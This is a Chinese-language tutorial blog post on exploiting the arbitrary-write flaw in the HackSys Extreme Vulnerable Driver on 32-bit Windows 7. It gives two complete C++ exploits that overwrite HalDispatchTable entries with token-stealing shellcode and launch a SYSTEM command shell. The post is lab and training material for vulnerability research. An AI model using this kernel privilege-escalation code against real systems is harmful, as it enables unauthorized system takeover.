-
-
Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
-
发表于: 2021-7-5 19:30 1226
-
Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
1 2 3 4 5 | 本文一共 2704 个字 17 张图 预计阅读时间 15 分钟 2. 本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载 3. 本篇文章是Windows Kernel Exploitation Notes系列文章的第二篇HEVD Write - What - Where 4. 本篇文章十分适合漏洞安全研究人员进行交流学习 5. 若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 |
环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
- 物理机OS:Windows 10 20H2 x64
- 物理机WinDbg:10.0.19041.685
- 虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
- VMware:VMware Workstation 15 Pro
- Visual Studio 2019
0x01 Root Cause Analyses
触发漏洞源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | NTSTATUS TriggerArbitraryWrite( _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere ) { PULONG_PTR What = NULL; PULONG_PTR Where = NULL; NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { / / / / Verify if the buffer resides in user mode / / ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR)); What = UserWriteWhatWhere - >What; Where = UserWriteWhatWhere - >Where; DbgPrint( "[+] UserWriteWhatWhere: 0x%p\n" , UserWriteWhatWhere); DbgPrint( "[+] WRITE_WHAT_WHERE Size: 0x%X\n" , sizeof(WRITE_WHAT_WHERE)); DbgPrint( "[+] UserWriteWhatWhere->What: 0x%p\n" , What); DbgPrint( "[+] UserWriteWhatWhere->Where: 0x%p\n" , Where); #ifdef SECURE / / / / Secure Note: This is secure because the developer is properly validating if address / / pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() / / / ProbeForWrite() routine before performing the write operation / / ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); * (Where) = * (What); #else DbgPrint( "[+] Triggering Arbitrary Write\n" ); / / / / Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability / / because the developer is writing the value pointed by 'What' to memory location / / pointed by 'Where' without properly validating if the values pointed by 'Where' / / and 'What' resides in User mode / / * (Where) = * (What); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint( "[-] Exception Code: 0x%X\n" , Status); } / / / / There is one more hidden vulnerability. Find it out. / / return Status; } |
对比Vulnerable
版本与Secure
版本可以发现,其在执行*(Where) = *(What)
语句之前未通过ProbeForRead/ProbeForWrite
函数校验读取及写入地址的合法性。跟进ProbeForRead
函数:
首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress
其值由MiInitializeBootDefaults
函数初始化):
边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT
异常:
越界则触发STATUS_ACCESS_VIOLATION
异常:
ProbeForWrite
函数在边界对齐及地址范围校验方面与ProbeForRead
类似,除此之外该函数会校验地址是否可写,可读,可访问:
编写POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #include <stdio.h> #include <windows.h> #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802) typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; int main() { HANDLE dev = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (dev = = INVALID_HANDLE_VALUE) { printf( "Failed!\n" ); system( "pause" ); return - 1 ; } printf( "Done! Device Handle:0x%p\n" , dev); PWRITE_WHAT_WHERE Buffer ; Buffer = (WRITE_WHAT_WHERE * )malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory( Buffer , sizeof(WRITE_WHAT_WHERE)); Buffer - >Where = (PULONG_PTR) 0x41414141 ; Buffer - >What = (PULONG_PTR) 0x42424242 ; DWORD size_returned = 0 ; BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer , sizeof(WRITE_WHAT_WHERE), NULL, 0 , &size_returned, NULL); CloseHandle(dev); system( "pause" ); return 0 ; } |
触发漏洞:
0x02 Exploit
根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable
中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。
nt!HalDispatchTable
中HalQuerySystemInformation
与HalSetSystemInformation
是在内核初始化过程中确定的:
二者分别可以通过NtQueryIntervalProfile
与NtSetIntervalProfile
函数调用:
下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile
函数定义如下:
1 2 3 4 | NTSTATUS NtQueryIntervalProfile ( KPROFILE_SOURCE ProfileSource, ULONG * Interval); |
其中KPROFILE_SOURCE
是一枚举类型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, * PKPROFILE_SOURCE; |
NtQueryIntervalProfile
首先校验_KTHREAD
中PreviousMode
(Offset 0x13A)字段值(关于_KPCR
,_KPRCB
,_KTHREAD
上一篇有介绍):
其次判断参数Interval
指向地址是否超过MmUserProbeAddress
:
最后判断ProfileSource
是否为零,非零值则调用KeQueryIntervalProfile
:
KeQueryIntervalProfile
会判断ProfileSource
是否为1,不为1才会继续调用nt!HalDispatchTable+0x4
如此,笔者构造Exploit中对该函数调用如下:
1 2 3 4 5 6 7 | PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQueryIntervalProfile" ); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit( 1 ); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG * )SC); / / SC——>Shellcode Address |
对nt!HalDispatchTable+0x4
函数调用不止KeQueryIntervalProfile
一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation
函数地址相差0x912来进行恢复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8 ; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4 ; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8 ; / / HalQuerySystemInformation_Address Offset 0x14 CHAR * SC = (CHAR * )VirtualAlloc( 0 , 0x60 , 0x3000 , 0x40 ); ZeroMemory(SC, 0x60 ); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60 ; mov dword ptr[edi + 0x1 ], 0x000000E8 ; mov dword ptr[edi + 0x5 ], 0x588B5800 ; mov dword ptr[edi + 0x9 ], 0x4F488B4B ; mov dword ptr[edi + 0xD ], 0xEA81138B ; mov dword ptr[edi + 0x11 ], 0x00000912 ; mov dword ptr[edi + 0x15 ], 0x90901189 ; mov dword ptr[edi + 0x19 ], 0x8B64C031 ; mov dword ptr[edi + 0x1D ], 0x00012480 ; mov dword ptr[edi + 0x21 ], 0x50408B00 ; mov dword ptr[edi + 0x25 ], 0x04BAC189 ; mov dword ptr[edi + 0x29 ], 0x8B000000 ; mov dword ptr[edi + 0x2D ], 0x0000B880 ; mov dword ptr[edi + 0x31 ], 0x00B82D00 ; mov dword ptr[edi + 0x35 ], 0x90390000 ; mov dword ptr[edi + 0x39 ], 0x000000B4 ; mov dword ptr[edi + 0x3D ], 0x908BED75 ; mov dword ptr[edi + 0x41 ], 0x000000F8 ; mov dword ptr[edi + 0x45 ], 0x00F89189 ; mov dword ptr[edi + 0x49 ], 0x31610000 ; mov dword ptr[edi + 0x4D ], 0x0000C3C0 ; mov dword ptr[edi + 0x51 ], eax; mov dword ptr[edi + 0x55 ], ebx; popad; } |
Shellcode如下:
NtSetIntervalProfile
函数定义如下:
1 2 3 4 | NTSTATUS NtSetIntervalProfile ( ULONG Interval, KPROFILE_SOURCE ProfileSource); |
其对参数判断位于KeSetIntervalProfile
函数内,首先校验nt!PerfGlobalGroupMask+0x4
:
其次判断ProfileSource
是否为0及是否为1:
上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:
1 | / / HalSetSystemInformation #include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{ PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)( __in ULONG* Interval, __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){ //Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation"); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit(1); } ULONG len = 0; //Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len); //Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len); if (Status != (NTSTATUS)0x0){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit(1); } PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase;}int main() { HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912 CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(SC, 0x60); __asm { pushad; mov ebx, HalSetSystemInformation_Address; mov eax, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60; mov dword ptr[edi + 0x1], 0x000000E8; mov dword ptr[edi + 0x5], 0x588B5800; mov dword ptr[edi + 0x9], 0x4F488B4B; mov dword ptr[edi + 0xD], 0xC281138B; mov dword ptr[edi + 0x11], 0x00000912; mov dword ptr[edi + 0x15], 0x90901189; mov dword ptr[edi + 0x19], 0x8B64C031; mov dword ptr[edi + 0x1D], 0x00012480; mov dword ptr[edi + 0x21], 0x50408B00; mov dword ptr[edi + 0x25], 0x04BAC189; mov dword ptr[edi + 0x29], 0x8B000000; mov dword ptr[edi + 0x2D], 0x0000B880; mov dword ptr[edi + 0x31], 0x00B82D00; mov dword ptr[edi + 0x35], 0x90390000; mov dword ptr[edi + 0x39], 0x000000B4; mov dword ptr[edi + 0x3D], 0x908BED75; mov dword ptr[edi + 0x41], 0x000000F8; mov dword ptr[edi + 0x45], 0x00F89189; mov dword ptr[edi + 0x49], 0x31610000; mov dword ptr[edi + 0x4D], 0x0000C3C0; mov dword ptr[edi + 0x51], eax; mov dword ptr[edi + 0x55], ebx; popad; } PULONG_PTR* PShellcode = (PULONG_PTR*)&SC; PWRITE_WHAT_WHERE Buffer; Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE)); Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address; Buffer->What = (PULONG_PTR)PShellcode; DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL); PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile"); if (!NtSetIntervalProfile) { cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0, MEM_RELEASE);} |
1 | / / HalQuerySystemInformation #include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{ PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)( __in ULONG* Interval, __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){ //Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation"); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit(1); } ULONG len = 0; //Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len); //Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len); if (Status != (NTSTATUS)0x0){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit(1); } PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase;}int main() { HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912 CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(SC, 0x60); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60; mov dword ptr[edi + 0x1], 0x000000E8; mov dword ptr[edi + 0x5], 0x588B5800; mov dword ptr[edi + 0x9], 0x4F488B4B; mov dword ptr[edi + 0xD], 0xEA81138B; mov dword ptr[edi + 0x11], 0x00000912; mov dword ptr[edi + 0x15], 0x90901189; mov dword ptr[edi + 0x19], 0x8B64C031; mov dword ptr[edi + 0x1D], 0x00012480; mov dword ptr[edi + 0x21], 0x50408B00; mov dword ptr[edi + 0x25], 0x04BAC189; mov dword ptr[edi + 0x29], 0x8B000000; mov dword ptr[edi + 0x2D], 0x0000B880; mov dword ptr[edi + 0x31], 0x00B82D00; mov dword ptr[edi + 0x35], 0x90390000; mov dword ptr[edi + 0x39], 0x000000B4; mov dword ptr[edi + 0x3D], 0x908BED75; mov dword ptr[edi + 0x41], 0x000000F8; mov dword ptr[edi + 0x45], 0x00F89189; mov dword ptr[edi + 0x49], 0x31610000; mov dword ptr[edi + 0x4D], 0x0000C3C0; mov dword ptr[edi + 0x51], eax; mov dword ptr[edi + 0x55], ebx; popad; } PULONG_PTR* PShellcode = (PULONG_PTR*)&SC; PWRITE_WHAT_WHERE Buffer; Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE)); Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address; Buffer->What = (PULONG_PTR)PShellcode; DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL); PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0, MEM_RELEASE);} |
效果如下:
0x03 参阅链接
- [NTSTATUS Values—Microsoft Docs]25eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8X3!0H3k6h3&6K6M7r3g2U0M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4y4h3k6H3M7X3!0@1L8$3y4G2L8s2y4Q4x3V1k6E0M7#2)9J5k6r3g2J5M7X3g2X3i4K6u0r3y4e0V1$3j5e0p5H3y4K6S2Q4x3X3c8W2z5o6R3K6i4K6u0V1y4o6V1%4x3W2)9J5k6o6W2T1j5X3y4Q4x3X3b7@1z5h3f1$3x3r3u0W2j5X3y4S2y4e0f1`.
- [ProbeForRead—Microsoft Docs]126K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3X3c8Z5j5i4u0V1N6$3q4J5k6g2)9J5c8X3c8J5K9i4k6W2M7Y4y4Q4x3V1k6V1k6r3W2Q4x3V1k6%4k6r3#2Q4x3V1k6F1k6W2)9J5k6s2N6V1L8g2)9J5k6s2m8J5L8$3u0W2k6X3!0J5M7X3g2S2k6l9`.`.
- [ProbeForWrite—Microsoft Docs]d3fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6V1L8$3y4K6i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3X3c8#2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3X3c8Z5j5i4u0V1N6$3q4J5k6g2)9J5c8X3c8J5K9i4k6W2M7Y4y4Q4x3V1k6V1k6r3W2Q4x3V1k6%4k6r3#2Q4x3V1k6F1k6W2)9J5k6s2N6V1L8g2)9J5k6s2m8J5L8$3u0W2k6X3!0J5N6%4u0A6N6r3f1`.
- [Exploiting common flaws in drivers]ee1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6K9r3W2F1L8X3q4A6i4K6u0W2j5h3I4@1k6i4u0$3K9i4y4@1j5g2)9J5k6h3!0J5k6#2)9J5c8Y4m8S2M7r3g2J5M7#2)9#2k6Y4k6A6k6r3g2G2M7#2)9J5c8V1g2o6c8V1W2p5i4K6u0W2M7r3c8X3
- [ZwQueryIntervalProfile]e5bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Y4k6h3!0X3k6X3y4Z5j5i4m8H3k6h3I4D9i4K6u0W2j5$3!0E0i4K6u0r3M7%4c8#2k6r3W2W2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6C8L8g2)9J5c8X3&6@1L8%4y4C8M7X3&6D9i4K6u0r3j5i4m8A6i4K6u0r3k6i4S2Q4x3V1k6H3M7X3!0X3K9h3I4W2i4K6u0r3M7i4g2W2M7Y4W2A6L8Y4c8W2M7Y4k6S2L8q4)9J5k6h3S2@1L8b7`.`.
- [ZwSetIntervalProfile]3e0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Y4k6h3!0X3k6X3y4Z5j5i4m8H3k6h3I4D9i4K6u0W2j5$3!0E0i4K6u0r3M7%4c8#2k6r3W2W2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6C8L8g2)9J5c8X3&6@1L8%4y4C8M7X3&6D9i4K6u0r3j5i4m8A6i4K6u0r3k6i4S2Q4x3V1k6H3M7X3!0X3K9h3I4W2i4K6u0r3M7$3g2@1K9h3&6@1k6i4u0$3j5h3I4Q4x3X3g2Z5N6r3@1`.
- [KPROFILE_SOURCE]caeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2Y4k6h3!0X3k6X3y4Z5j5i4m8H3k6h3I4D9i4K6u0W2j5$3!0E0i4K6u0r3M7%4c8#2k6r3W2W2M7#2)9J5c8Y4N6A6L8X3c8G2N6%4y4Q4x3V1k6C8L8g2)9J5c8X3&6@1L8%4y4C8M7X3&6D9i4K6u0r3j5i4m8A6i4K6u0r3K9$3g2Q4x3V1k6H3M7X3!0X3L8$3u0B7i4K6u0r3K9%4m8J5L8$3k6A6L8r3g2Q4y4h3k6K6L8%4g2J5j5$3g2Q4x3X3g2Z5N6r3@1`.